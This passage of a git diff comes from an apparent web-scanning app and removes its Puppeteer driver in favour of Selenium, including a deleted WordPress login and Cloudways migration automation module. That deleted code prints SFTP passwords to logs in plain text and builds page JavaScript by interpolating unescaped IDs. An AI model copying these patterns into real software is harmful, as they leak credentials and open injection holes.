-        )
-        emulate_options = {
-            'viewport': viewport,
-            'userAgent': userAgent
-        }
-
-        # setting device type
-        if self.configs.get('device') == 'mobile':
-            await page.emulate(emulate_options)
-        else:
-            await page.setViewport(viewport)
-
-        # requesting page_url
-        await page.goto(_page.page_url, page_options)
-
-        # handling anamations
-        if self.configs.get('disable_animations') == True:
-            try:
-                # inserting animation pausing script
-                await page.evaluate(self.pause_animations_script)
-            except:
-                print('cannot pause animations')
-            try:
-                # pausing videos
-                videos = await page.querySelectorAll('video')
-                for vid in videos:
-                    await page.evaluate('(vid) => vid.pause()', vid)
-            except Exception as e:
-                print(e)
-
-        # mask all listed ids
-        if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '':
-            ids = self.configs.get('mask_ids').split(',')
-            for id in ids:
-                try:
-                    await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via id provided')
-
-
-        # mask all Global mask ids that are active
-        @sync_to_async
-        def get_active_global_masks():
-            masks = Mask.objects.filter(active=True)
-            active_masks = []
-            if len(masks) > 0:
-                for mask in masks:
-                    active_masks.append(mask.id)
-            return active_masks
-
-        active_masks = await get_active_global_masks()
-
-        for mask in active_masks:
-            try:
-                await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';")
-                print('masked an element')
-            except:
-                print('cannot find element via global mask id provided')
-    
-        @sync_to_async
-        def save_image(*args, **kwargs):
-            self.save_image(pic_id=pic_id, image=final_img)
-
-        # scroll one frame at a time and capture screenshot
-        final_img = None
-        index = 0
-        last_height = -1
-        bottom = False
-        start_time = datetime.now()
-        while not bottom:
-
-            # checking if maxed out time
-            if self.check_timeout(int(self.configs.get('timeout', 300)), start_time):
-                break
-
-            # scroll single frame
-            if index != 0:
-                await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(self.configs.get('min_wait_time', 10)))
-
-            # get current position and compare to previous
-            new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight")
-            height_diff = new_height - last_height
-            if height_diff > 20:
-                last_height = new_height
-                pic_id = uuid.uuid4()
-
-                # interact with and wait for page to load
-                await page.mouse.move(0, 0)
-                await page.mouse.move(0, 100)
-                time.sleep(int(self.configs.get('min_wait_time', 10)))
-                await wait_for_page(page=page)
-            
-                # get screenshot
-                await page.screenshot({'path': f'{pic_id}.png'})
-                image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-                
-                # resizing image to remove duplicate portions
-                img = I.open(image)
-                width, height = img.size
-                left = 0
-                top = height - (height_diff)
-                right = width
-                _bottom = height
-                new_img = img.crop((left, top, right, _bottom))
-                new_img.save(image, quality=100)
-                
-                # adding new image to bottom of existing image (if not index = 0)
-                pic_id_2 = uuid.uuid4()
-                if index != 0 and final_img is not None:
-                    self.add_images(final_img, image).save(f'{pic_id_2}.png')
-                    os.remove(final_img)
-                    final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
-                else:
-                    I.open(image).save(f'{pic_id_2}.png')
-                    final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
-                
-                os.remove(image)
-                index += 1 
-            
-            else:
-                bottom = True
-        
-        # saving image
-        await save_image(pic_id=pic_id, image=final_img)
-
-        # cleaning up
-        await driver.close()
-
-        # returning images
-        return self.image_array
-
-
-
-
-    def test(self, test: object, index: int=None) -> dict:
+    def test_vrt(self, test: object, index: int=None) -> dict:
         """
         Compares each screenshot between the two scans and records 
         a score out of 100%.
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 62fee1bb..487b8be7 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -1,6 +1,7 @@
-from .driver_s import driver_init as driver_s_init, quit_driver
-from .driver_s import driver_wait, get_data as get_s_driver_data
-from .driver_p import get_data
+from .driver import (
+    driver_init, quit_driver, 
+    driver_wait , get_data
+)
 from ..models import *
 from .automater import Automater
 from .tester import Tester
@@ -25,7 +26,6 @@ class Scanner():
         'site'    : object,
         'page'    : object,
         'scan'    : object,
-        'configs' : dict,
         'type'    : list
     }
 
@@ -42,14 +42,12 @@ def __init__(
             site: object=None, 
             page: object=None,
             scan: object=None, 
-            configs: dict=settings.CONFIGS,
             type: list=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
         ):
 
         self.site = site
         self.page = page
         self.scan = scan
-        self.configs = configs
         self.type = type
 
         # getting page and site if None
@@ -74,50 +72,31 @@ def build_scan(self) -> object:
         images = None
         lh_data = None
         yl_data = None
-
-        # creating Scan obj if None was passed
-        if self.scan is None:
-            self.scan = Scan.objects.create(site=self.site, page=self.page, type=self.type)
         
         # running scan steps with selenium driver
-        if self.configs['driver'] == 'selenium':
-            driver = driver_s_init(
-                window_size=self.configs['window_size'], 
-                device=self.configs['device']
-            )
-            driver.get(self.page.page_url)
-            s_driver_data = get_s_driver_data(
-                driver=self.driver, 
-                max_wait_time=self.configs['max_wait_time']
-            )
-            if 'html' in self.scan.type or 'full' in self.scan.type:
-                html = s_driver_data['html']
-            if 'logs' in self.scan.type or 'full' in self.scan.type:
-                logs = s_driver_data['logs']
-            if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = Imager(scan=self.scan, configs=self.configs).scan_s(driver=driver)
-            quit_driver(driver)
-        
-        # running scan steps with puppeteer driver
-        if self.configs['driver'] == 'puppeteer':
-            p_driver_data = asyncio.run(
-                get_data(
-                    url=self.page.page_url, 
-                    configs=self.configs
-                )
-            )
-            if 'html' in self.scan.type or 'full' in self.scan.type:
-                html = p_driver_data['html']
-            if 'logs' in self.scan.type or 'full' in self.scan.type:
-                logs = p_driver_data['logs']
-            if 'vrt' in self.scan.type or 'full' in self.scan.type:
-                images = asyncio.run(Imager(scan=self.scan, configs=self.configs).scan_p())
-        
-        # running LH & YL if requested
+        driver = driver_init(
+            browser=self.scan.configs['browser'],
+            window_size=self.scan.configs['window_size'], 
+            device=self.scan.configs['device']
+        )
+        driver.get(self.page.page_url)
+        driver_data = get_data(
+            driver=self.driver, 
+            max_wait_time=self.scan.configs['max_wait_time']
+        )
+        if 'html' in self.scan.type or 'full' in self.scan.type:
+            html = driver_data['html']
+        if 'logs' in self.scan.type or 'full' in self.scan.type:
+            logs = driver_data['logs']
+        if 'vrt' in self.scan.type or 'full' in self.scan.type:
+            images = Imager(scan=self.scan).scan_vrt(driver=driver)
         if 'lighthouse' in self.scan.type or 'full' in self.scan.type:
-            lh_data = Lighthouse(scan=self.scan, configs=self.configs).get_data() 
+            lh_data = Lighthouse(scan=self.scan).get_data() 
         if 'yellowlab' in self.scan.type or 'full' in self.scan.type:
-            yl_data = Yellowlab(scan=self.scan, configs=self.configs).get_data()
+            yl_data = Yellowlab(scan=self.scan).get_data()
+
+        # quiting selenium instance
+        quit_driver(driver)
 
         # updating Scan object
         if html is not None:
@@ -132,7 +111,6 @@ def build_scan(self) -> object:
             self.scan.yellowlab = yl_data
 
         # saving scan data
-        self.scan.configs = self.configs
         self.scan.time_completed = datetime.now()
         self.scan.save()
 
@@ -404,49 +382,39 @@ def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) ->
     scan = Scan.objects.get(id=scan_id)
 
     try:
-        # get html and logs if driver is selenium
-        if scan.configs['driver'] == 'selenium':
-            # init driver & get data
-            driver = driver_s_init(
-                window_size=scan.configs['window_size'], 
-                device=scan.configs['device']
-            )
-            driver.get(scan.page.page_url)
-            s_driver_data = get_s_driver_data(
-                driver=driver, 
-                max_wait_time=int(scan.configs['max_wait_time'])
-            )
-            if 'html' in scan.type or 'full' in scan.type:
-                html = s_driver_data['html']
-                scan = Scan.objects.get(id=scan_id)
-                save_html(html, scan)
-            if 'logs' in scan.type or 'full' in scan.type:
-                logs = s_driver_data['logs']
-                scan = Scan.objects.get(id=scan_id)
-                scan.logs = logs
-                scan.save()
-            quit_driver(driver)
+        # get html and logs using selenium
+        # init driver & get data
+        driver = driver_init(
+            browser=scan.configs['browser'],
+            window_size=scan.configs['window_size'], 
+            device=scan.configs['device']
+        )
+        driver.get(scan.page.page_url)
+        driver_data = get_data(
+            driver=driver,
+            browser=scan.configs['browser'],
+            max_wait_time=int(scan.configs['max_wait_time']),
+            min_wait_time=int(scan.configs['min_wait_time']),
+            interval=int(scan.configs['interval'])
+        )
+        if 'html' in scan.type or 'full' in scan.type:
+            html = driver_data['html']
+            scan = Scan.objects.get(id=scan_id)
+            save_html(html, scan)
+        if 'logs' in scan.type or 'full' in scan.type:
+            logs = driver_data['logs']
+            scan = Scan.objects.get(id=scan_id)
+            scan.logs = logs
+            scan.save()
+        quit_driver(driver)
 
-        # get html and logs if driver is puppeteer
-        if scan.configs['driver'] == 'puppeteer':
-            # init driver & get data
-            p_driver_data = asyncio.run(
-                get_data(
-                    url=scan.page.page_url, 
-                    configs=scan.configs
-                )
-            )
-            if 'html' in scan.type or 'full' in scan.type:
-                html = p_driver_data['html']
-                scan = Scan.objects.get(id=scan_id)
-                save_html(html, scan)
-            if 'logs' in scan.type or 'full' in scan.type:
-                logs = p_driver_data['logs']
-                scan = Scan.objects.get(id=scan_id)
-                scan.logs = logs
-                scan.save()
     except Exception as e:
         print(e)
+        # try to quit selenium session
+        try:
+            quit_driver(driver)
+        except:
+            pass
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)
@@ -476,14 +444,13 @@ def _vrt(scan_id: str, test_id: str=None, automation_id: str=None) -> object:
     
     try:
         # run Imager using selenium
-        if scan.configs['driver'] == 'selenium':
-            driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device'])
-            images = Imager(scan=scan, configs=scan.configs).scan_s(driver=driver)
-            quit_driver(driver)
-
-        # run Imager using puppeteer
-        if scan.configs['driver'] == 'puppeteer':
-            images = asyncio.run(Imager(scan=scan, configs=scan.configs).scan_p())
+        driver = driver_init(
+            window_size=scan.configs.get('window_size', '1920,1080'), 
+            device=scan.configs.get('device', 'desktop'),
+            browser=scan.configs.get('browser', 'chrome')
+        )
+        images = Imager(scan=scan).scan_vrt(driver=driver)
+        quit_driver(driver)
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 82b80913..99f28756 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -860,7 +860,7 @@ def run_test(self, index: int=None) -> object:
         if 'vrt' in self.test.type or 'full' in self.test.type:
             try:
                 # scores & data
-                images_data = Imager().test(test=self.test, index=index)
+                images_data = Imager().test_vrt(test=self.test, index=index)
                 if images_data['average_score'] != None:
                     images_score = images_data['average_score'] / 100
 
diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py
index d3821cbb..a5de7704 100644
--- a/app/api/utils/wordpress.py
+++ b/app/api/utils/wordpress.py
@@ -1,4 +1,4 @@
-from .driver_s import driver_init, driver_wait
+from .driver import driver_init, driver_wait
 from selenium import webdriver
 from selenium.webdriver.support.ui import Select
 from selenium.webdriver.common.keys import Keys
diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py
deleted file mode 100644
index b2a2a68d..00000000
--- a/app/api/utils/wordpress_p.py
+++ /dev/null
@@ -1,570 +0,0 @@
-from .driver_p import driver_init
-import time, asyncio, uuid
-from ..models import * 
-from datetime import datetime
-from asgiref.sync import sync_to_async
-
-
-
-
-
-
-class Wordpress():
-
-
-    def __init__(
-        self, 
-        login_url, 
-        admin_url, 
-        username, 
-        password,
-        email_address,
-        destination_url,
-        sftp_address,
-        dbname,
-        sftp_username,
-        sftp_password,
-        wait_time, 
-        process_id
-        ):
-        # set all global vars
-        self.login_url = login_url
-        self.username = username
-        self.password = password
-        self.email_address = email_address
-        self.destination_url = destination_url
-        self.sftp_address = sftp_address
-        self.dbname = dbname
-        self.sftp_username = sftp_username
-        self.sftp_password = sftp_password
-        self.process = Process.objects.get(id=process_id)
-        self.native_lang = 'en'
-
-        if not admin_url.endswith('/'):
-            admin_url = admin_url + '/'
-        self.admin_url = admin_url
-
-        if wait_time is None:
-            self.wait_time = 30
-        else:
-            self.wait_time = wait_time
-
-        self.navWaitOpt = {
-            'timeout': self.wait_time * 1000,
-            'waitUntil': 'domcontentloaded'
-        }
-
-
-    async def login(self):
-
-        ''' 
-            Tries to log into a WP site with given credentials.
-
-            returns --> True / False 
-        
-        '''
-
-        print('begining login method for ' + self.login_url)
-
-        
-        self.driver = await driver_init(wait_time=self.wait_time)
-
-        # init page obj 
-        self.page = await self.driver.newPage()
-        page_options = {
-            'waitUntil': 'networkidle0', 
-            'timeout': self.wait_time * 1000
-        }
-
-        try:
-            await self.page.goto(self.login_url, page_options)
-            try:
-                await self.page.xpath('//*[@id="user_login"]')
-                print('found login form')
-            except:
-                try:
-                    jetpack = await self.page.xpath('//*[@id="jetpack-sso-wrap"]/a[1]')
-                    await jetpack[0].click()
-                    await self.page.xpath('//*[@id="user_login"]')
-                    print('found login form')
-                except:
-                    try:
-                        login_link = await self.page.xpath("//a[contains(., 'Login with username and password')]")
-                        await login_link[0].click()
-                        await self.page.xpath('//*[@id="user_login"]')
-                        print('found login form')
-                    except:
-                        print('unable to locate login form at this path')
-                        await self.driver.close()
-                        return False
-                    
-    
-        except:
-            print('unable to locate login form at this path')
-            await self.driver.close()
-            return False
-
-        user_name_elem = await self.page.xpath('//*[@id="user_login"]')
-        await user_name_elem[0].click(clickCount=3)
-        await self.page.keyboard.type(self.username)
-        time.sleep(1)
-        passworword_elem = await self.page.xpath('//*[@id="user_pass"]')
-        await passworword_elem[0].click(clickCount=3)
-        await self.page.keyboard.type(self.password)
-        time.sleep(1)
-        await self.page.keyboard.press('Enter')
-        await self.page.waitForNavigation(self.navWaitOpt)
-        
-
-        try:
-            try:
-                verify_email = await self.page.xpath('//*[@id="correct-admin-email"]')
-                print('need to verify email')
-                await verify_email[0].click()
-                print('clicked verify')
-            except:
-                pass
-
-            print('done with login attempt')
-
-            try:
-                await self.page.xpath('//*[@id="login_error"]')
-                print('found login error')
-                await self.page.reload()
-
-                print('trying login again')
-                user_name_elem = await self.page.xpath('//*[@id="user_login"]')
-                await user_name_elem[0].click(clickCount=3)
-                await self.page.keyboard.type(self.username)
-                time.sleep(1)
-                passworword_elem = await self.page.xpath('//*[@id="user_pass"]')
-                await passworword_elem[0].click(clickCount=3)
-                await self.page.keyboard.type(self.password)
-                time.sleep(1)
-                await self.page.keyboard.press('Enter')
-                await self.page.waitForNavigation(self.navWaitOpt)
-                
-
-                try:
-                    await self.page.xpath('//*[@id="login_error"]')
-                    print('found login error again')
-                    print('counld not login to this site')
-                except:
-                    print('no login errors')
-
-            except:
-                print('no login errors')
-
-        except:
-            print('counld not login to this site')
-            
-            await self.driver.close()
-            return False
-            
-
-        # removing alerts
-        try:
-            deny_btn = await self.page.xpath('//*[@id="webpushr-deny-button"]')
-            await deny_btn[0].click()
-            print('removed alert')
-        except:
-            pass
-        try:
-            # checking if url location is wp-admin
-            admin_link = '/wp-admin/'
-            current_url = self.page.url
-            print('current url -> ' + current_url)
-            if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url:
-                print('inside wp-admin')
-            else:
-                print('not in wp-admin - navigating there now')
-                admin_btn = await self.page.xpath('//*[@id="wp-admin-bar-dashboard"]')
-                admin_link = await admin_btn[0].querySelector('a')
-                await admin_link[0].click(clickCount=2)
-                print('clicked dashboard link')
-                await self.page.waitForNavigation(self.navWaitOpt)
-                
-        
-        except:
-            print('could not login')
-            await self.driver.close()
-            return False
-
-        
-        return True
-
-
-
-
-    
-    async def begin_lang_check(self):
-
-        try:
-            # navigate to settings
-            s_url = 'options-general.php'
-            try:
-                settings_menu = await self.page.xpath('//*[@id="menu-settings"]')
-                await settings_menu[0].click()
-                print('clicked settings menu')
-                await self.page.waitForNavigation(self.navWaitOpt)
-                settings = await self.page.xpath('.//a[@href="'+s_url+'"]')
-                await settings[0].click()
-                print('clicked settings tab')
-                await self.page.waitForNavigation(self.navWaitOpt)
-                
-
-            except:
-                await self.page.goto(self.page.url + s_url)
-                await self.page.waitForNavigation(self.navWaitOpt)
-
-            # finding and recording current native language
-            lang_selector = await self.page.xpath('//*[@id="WPLANG"]')
-            optgroup = await lang_selector[0].querySelector('optgroup')
-            selected_lang = await optgroup.xpath('.//option[@selected="selected"]')
-            default_lang = await (await selected_lang[0].getProperty('lang')).jsonValue()
-            default_lang_value = await (await selected_lang[0].getProperty('value')).jsonValue()
-            print("defalut lang value is " + str(default_lang))
-            
-            if default_lang != 'en':
-
-                # selecting english
-                await lang_selector[0].select('en_CA')
-                print('selected english')
-
-                # saving settings
-                save_btn = await self.page.xpath('//*[@id="submit"]')
-                await save_btn[0].click()
-                print('saved lang to english')
-                
-                self.native_lang = default_lang_value
-                return True
-
-            else:
-                self.native_lang = 'en'
-
-
-        except:
-            print('error in changing language')
-            return False
-
-
-
-
-
-
-    async def end_lang_check(self):
-
-        if self.native_lang != 'en':
-
-            try:
-                # navigate to settings
-                s_url = 'options-general.php'
-                try:
-                    settings_menu = await self.page.xpath('//*[@id="menu-settings"]')
-                    await settings_menu[0].click()
-                    print('clicked settings menu')
-                    await self.page.waitForNavigation(self.navWaitOpt)
-                    settings = await self.page.xpath('.//a[@href="'+s_url+'"]')
-                    await settings[0].click()
-                    print('clicked settings tab')
-                    await self.page.waitForNavigation(self.navWaitOpt)
-
-                except:
-                    await self.page.goto(self.page.url + s_url)
-                    await self.page.waitForNavigation(self.navWaitOpt)
-
-                # selecting native lang
-                lang_selector = await self.page.xpath('//*[@id="WPLANG"]')
-                await lang_selector[0].select(self.native_lang)
-                print('selected native_lang')
-
-                # saving settings
-                save_btn = await self.page.xpath('//*[@id="submit"]')
-                await save_btn[0].click()
-                print('saved native lang')
-
-            except:
-                await self.driver.close()
-                return False
-
-        await self.driver.close()
-        return True
-
-
-
-    async def install_plugin(self, plugin_name):
-
-        # setting url for link naving
-        plugin_menu_page = 'plugins.php'
-        add_plugin_page = 'plugin-install.php'
-
-        # navigating to plugin page   
-        try:
-            print('trying click method')
-            plugin_menu = await self.page.xpath('//*[@id="menu-plugins"]')
-            await plugin_menu[0].click()
-            await self.page.waitForNavigation(self.navWaitOpt)
-            p_url = 'plugins.php'
-            plugins = await self.page.xpath('.//a[@href="'+p_url+'"]')
-            await plugins[0].click()
-            print('clicked plugin menu')
-            await self.page.waitForNavigation(self.navWaitOpt)
-            
-            
-            # looking for dependencies in plugin table
-            time.sleep(10)
-            form = await self.page.xpath('//*[@id="bulk-action-form"]')
-            pluginTable = await form[0].querySelector('tbody')
-            tableText = await (await pluginTable.getProperty('textContent')).jsonValue()
-
-        except:
-            print('trying link method for navigation')
-            try:
-                await self.page.goto(self.admin_link + plugin_menu_page)
-                await self.page.waitForNavigation(self.navWaitOpt)
-                
-                time.sleep(10)
-                # looking for dependencies in plugin table
-                form = await self.page.xpath('//*[@id="bulk-action-form"]')
-                pluginTable = await form[0].querySelector('tbody')
-                tableText = await (await pluginTable.getProperty('textContent')).jsonValue()
-            except:
-                print('unable to find plugin table')
-                await self.driver.close()
-                return False
-
-        if plugin_name not in tableText:
-            try:
-                print('plugin not present, preparing to install')
-
-                time.sleep(2)
-                print('navigating to add plugins page')
-                
-                try:
-                    url = 'plugin-install.php'
-                    add_plugin = await self.page.xpath('//a[@href="'+url+'"]')
-                    await add_plugin[0].click(clickCount=2)
-                    print('clicked add plugin link')
-                    await self.page.waitForNavigation(self.navWaitOpt)
-                    
-                    time.sleep(5)
-                except:
-                    await self.page.goto(self.admin_url + add_plugin_page)
-                    await self.page.waitForNavigation(self.navWaitOpt)
-                    
-                    time.sleep(5)
-
-                
-                # searching for plugin
-                search_form = await self.page.xpath('//input[@type="search"]')
-                await search_form[0].click(clickCount=3)
-                await self.page.keyboard.type(plugin_name)
-                time.sleep(1)
-                await self.page.keyboard.press('Enter')
-                time.sleep(3)
-
-                ##### Clicking "install" plugin ######
-                install = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly 
-                await install[0].click(clickCount=2)
-                print('clicked -install plugin-')
-                time.sleep(30)
-            
-            
-                #### Clicking "activate" plugin ######
-                await self.page.reload()
-                print('reloading page')
-                try:
-                    await self.page.waitForNavigation(self.navWaitOpt)
-                except:
-                    pass
-                activate = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly 
-                await activate[0].click(clickCount=2)
-                print('clicked -Activate plugin-')
-                time.sleep(30)
-                print('Dependencies installed sucessfully')
-                return True
-
-            except:
-                print('failed dependency installation')
-                await self.driver.close()
-                return False
-
-        else:
-            print('plugin already installed')
-            return True
-
-
-    @sync_to_async
-    def update_process(self, successful=False, info_url=None, time_completed=None, progress=None):
-        if info_url is not None:
-            self.process.info_url = info_url
-        self.process.success = successful
-        if time_completed is not None:
-            self.process.time_completed = time_completed
-        if progress is not None:
-            self.process.progress = progress
-        
-        self.process.save()
-        return
-
-
-
-    async def launch_migration(self):
-        ''' 
-            Launches the migration plugin once Activated.
-
-            returns --> True / False 
-        
-        '''
-
-        # setting url for link naving
-        migrate_page = 'admin.php?page=cloudways'
-        current_url = self.page.url
-
-        if not current_url.endswith("cloudways"):
-            print('navigating to migration page')
-            if self.admin_url.endswith('/'):
-                await self.page.goto(f'{self.admin_url}{migrate_page}')
-            else:
-                await self.page.goto(f'{self.admin_url}/{migrate_page}')
-            time.sleep(10)
-
-
-        # wait for cloudways email field to become visible
-        # entering self.email_address in field
-        email = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/input')
-        await email[0].click(clickCount=3)
-        await self.page.keyboard.type(self.email_address)
-        print('entered cloudways email')
-
-        # checking T&S checbox
-        checkbox = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/div/label/input[3]')
-        await checkbox[0].click(clickCount=1)
-        print('checked T&S agreement')
-
-        # clicking submit to launch migration plugin
-        m_button = await self.page.xpath('//*[@id="migratesubmit"]')
-        await m_button[0].click(clickCount=1)
-        print('clicked migrate button')
-
-        return True
-
-    
-    async def run_migration(self):
-        ''' 
-            Enters data on migration page, initiates miration 
-            and begins updating the associated `Process` with data
-            from the page.
-
-            returns --> True / False 
-        
-        '''
-
-        # check for page to fully load 
-        print('waiting 10 sec for new page to load')
-        time.sleep(10)
-        ## enter all necessary data in each field
-        await self.page.waitForNavigation(self.navWaitOpt)
-
-        # get_element_by_name="address" -> self.destination_url
-        destination_url = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[1]/div/div/input[1]')
-        await destination_url[0].click(clickCount=3)
-        await self.page.keyboard.type(self.destination_url)
-        print(f'dest_url as -> {self.destination_url}')
-        time.sleep(2)
-
-        # get_element_by_name="newurl" -> self.sftp_address 
-        sftp_address = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[2]/div/div/input[1]')
-        await sftp_address[0].click(clickCount=3)
-        await self.page.keyboard.type(self.sftp_address)
-        print(f'sftp_address as -> {self.sftp_address}')
-        time.sleep(2)
-
-        # get_element_by_name="appfolder" -> self.dbname
-        dbname = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[3]/div/div/input[1]')
-        await dbname[0].click(clickCount=3)
-        await self.page.keyboard.type(self.dbname)
-        print(f'dbname as -> {self.dbname}')
-        time.sleep(2)
-
-        # get_element_by_name="username" -> self.sftp_username
-        sftp_username = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[4]/div/div/input[1]')
-        await sftp_username[0].click(clickCount=3)
-        await self.page.keyboard.type(self.sftp_username)
-        print(f'sftp_username as -> {self.sftp_username}')
-        time.sleep(2)
-
-        # get_element_by_name="passwd" -> self.sftp_password
-        sftp_password = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[5]/div/div/input[1]')
-        await sftp_password[0].click(clickCount=3)
-        await self.page.keyboard.type(self.sftp_password)
-        print(f'sftp_password as -> {self.sftp_password}')
-        time.sleep(2)
-
-        print('entered all creds')
-
-        # submit data
-        await self.page.keyboard.press('Enter')
-        print('pressed enter key')
-
-        
-
-        # update self.process with info_url
-        info_url = self.page.url
-        await self.update_process(info_url=info_url)
-        
-
-        done = False
-        done_text = 'Your migration is complete!'
-        new_progress = 0
-        print(f'current url -> {self.page.url}')
-        while not done:
-            
-            # checking for progres bar
-            try:
-                raw_progress = await self.page.xpath('//*[@id="app"]/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2]')
-                new_progress = await (await raw_progress[0].getProperty('textContent')).jsonValue()
-                new_progress = float(new_progress.split('%')[0])
-            except Exception as e: 
-                # print(e)
-                pass
-            
-
-            # update self.process
-            await self.update_process(progress=new_progress)
-
-            # check if new_progress is 100%
-            page_content = await self.page.content()
-            if new_progress >= 100 or done_text in page_content:
-                time_completed = datetime.now()
-                await self.update_process(successful=True, time_completed=time_completed, progress=100)
-                done = True
-
-            # checking for process errors
-            if 'alert alert-danger' in page_content:
-                done = True
-                time_completed = datetime.now()
-                await self.update_process(time_completed=time_completed)
-                print('found an error - ending process')
-                return False
-
-            time.sleep(1)
-
-
-        return True
-
-
-
-
-
-
-    async def run_full(self, plugin_name):
-        data = await self.login()
-        data = await self.begin_lang_check()
-        data = await self.install_plugin(plugin_name)
-        # data = await self.end_lang_check()
-        data = await self.launch_migration()
-        data = await self.run_migration()
-        await self.driver.close()
-        return data
-
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e1f35898..dd334e62 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -15,7 +15,6 @@
 from ...utils.imager import Imager as I
 from ...utils.reporter import Reporter as R
 from ...utils.wordpress import Wordpress as W
-from ...utils.wordpress_p import Wordpress as W_P
 from ...utils.caser import Caser
 from ...utils.crawler import Crawler
 import json, boto3, asyncio, os, requests
@@ -5164,60 +5163,6 @@ def get_celery_metrics(request: object) -> object:
 
 
 
-def create_site_screenshot(request: object) -> object:
-    """
-    Used to grab a single screenshot of the passed `Site`
-
-    Expects: {
-        'request': object
-    }
-
-    Returns -> HTTP Response object
-    """
-
-    # get request data
-    site_id = request.data.get('site_id', None)
-    url = request.data.get('url', None)
-    configs = request.data.get('configs', None)
-
-    # get user
-    user = request.user
-    account = Member.objects.get(user=user).account
-
-    # updating configs if None:
-    configs = account.configs if configs == None else configs
-    
-    # set default
-    site = None
-
-    # checking account and resource 
-    check_data = check_account_and_resource(
-        request=request, resource='site', 
-        site_id=site_id
-    )
-    if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
-
-    # get site if checks passsed
-    if site_id is not None:
-        site = Site.objects.get(id=site_id)
-
-    # get screenshot 
-    if configs['driver'] == 'puppeteer':
-        data = asyncio.run(I().screenshot_p(site=site, url=url, configs=configs))
-    elif configs['driver'] == 'selenium':
-        data = I().screenshot(site=site, url=url, configs=configs)
-
-    
-    record_api_call(request, data, '201')
-    response = Response(data, status=status.HTTP_201_CREATED)
-    return response
-
-
-
-
 def migrate_site(request: object) -> object:
     """
     Initiate a `Site` migration task in background
@@ -5243,7 +5188,7 @@ def migrate_site(request: object) -> object:
     sftp_username = request.data.get('sftp_username', None)
     sftp_password = request.data.get('sftp_password', None)
     wait_time = request.data.get('wait_time', 30)
-    driver = request.data.get('driver', 'puppeteer')
+    driver = request.data.get('driver', 'selenium')
 
     # checking account and resource 
     check_data = check_account_and_resource(
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index c3801d24..ae8f36da 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -229,7 +229,7 @@
 # Global configs 
 CONFIGS = {
     'window_size': '1920,1080',
-    'driver': 'selenium',
+    'browser': 'chrome',
     'device': 'desktop',
     'mask_ids': None,
     'interval': 1,
diff --git a/k8s/local/app-deployment.yaml b/k8s/local/app-deployment.yaml
index 353f6432..6925432c 100644
--- a/k8s/local/app-deployment.yaml
+++ b/k8s/local/app-deployment.yaml
@@ -29,7 +29,7 @@ spec:
               python3 manage.py migrate --no-input &&
               python3 manage.py collectstatic --no-input &&
               python3 manage.py create_admin &&
-              python3 manage.py driver_s_test &&
+              python3 manage.py driver_test &&
               python3 manage.py driver_p_test &&
               python3 manage.py runserver 0.0.0.0:8000
           envFrom:
diff --git a/setup/requirements/requirements-staging.txt b/setup/requirements/requirements-staging.txt
index 79d05b21..45f55aea 100644
--- a/setup/requirements/requirements-staging.txt
+++ b/setup/requirements/requirements-staging.txt
@@ -33,7 +33,6 @@ prometheus-client==0.8.0
 prompt-toolkit==3.0.43
 psycopg2==2.9.9
 pyjwt==2.1.0
-pyppeteer==1.0.2
 pytz==2021.1
 redis==3.5.3
 requests==2.25.1
diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 355932a0..46d35ecf 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -33,7 +33,6 @@ prometheus-client==0.8.0
 prompt-toolkit==3.0.18
 psycopg2==2.8.6
 pyjwt==2.1.0
-pyppeteer==1.0.2
 pytz==2021.1
 redis==3.5.3
 requests==2.25.1
diff --git a/setup/scripts/local-entrypoint.sh b/setup/scripts/local-entrypoint.sh
index edcc45b4..976c4877 100755
--- a/setup/scripts/local-entrypoint.sh
+++ b/setup/scripts/local-entrypoint.sh
@@ -8,8 +8,7 @@ then
   python3 manage.py migrate --no-input &&
   python3 manage.py collectstatic --no-input &&
   python3 manage.py create_admin &&
-  python3 manage.py driver_s_test &&
-  python3 manage.py driver_p_test &&
+  python3 manage.py driver_test &&
   python3 manage.py runserver 0.0.0.0:8000
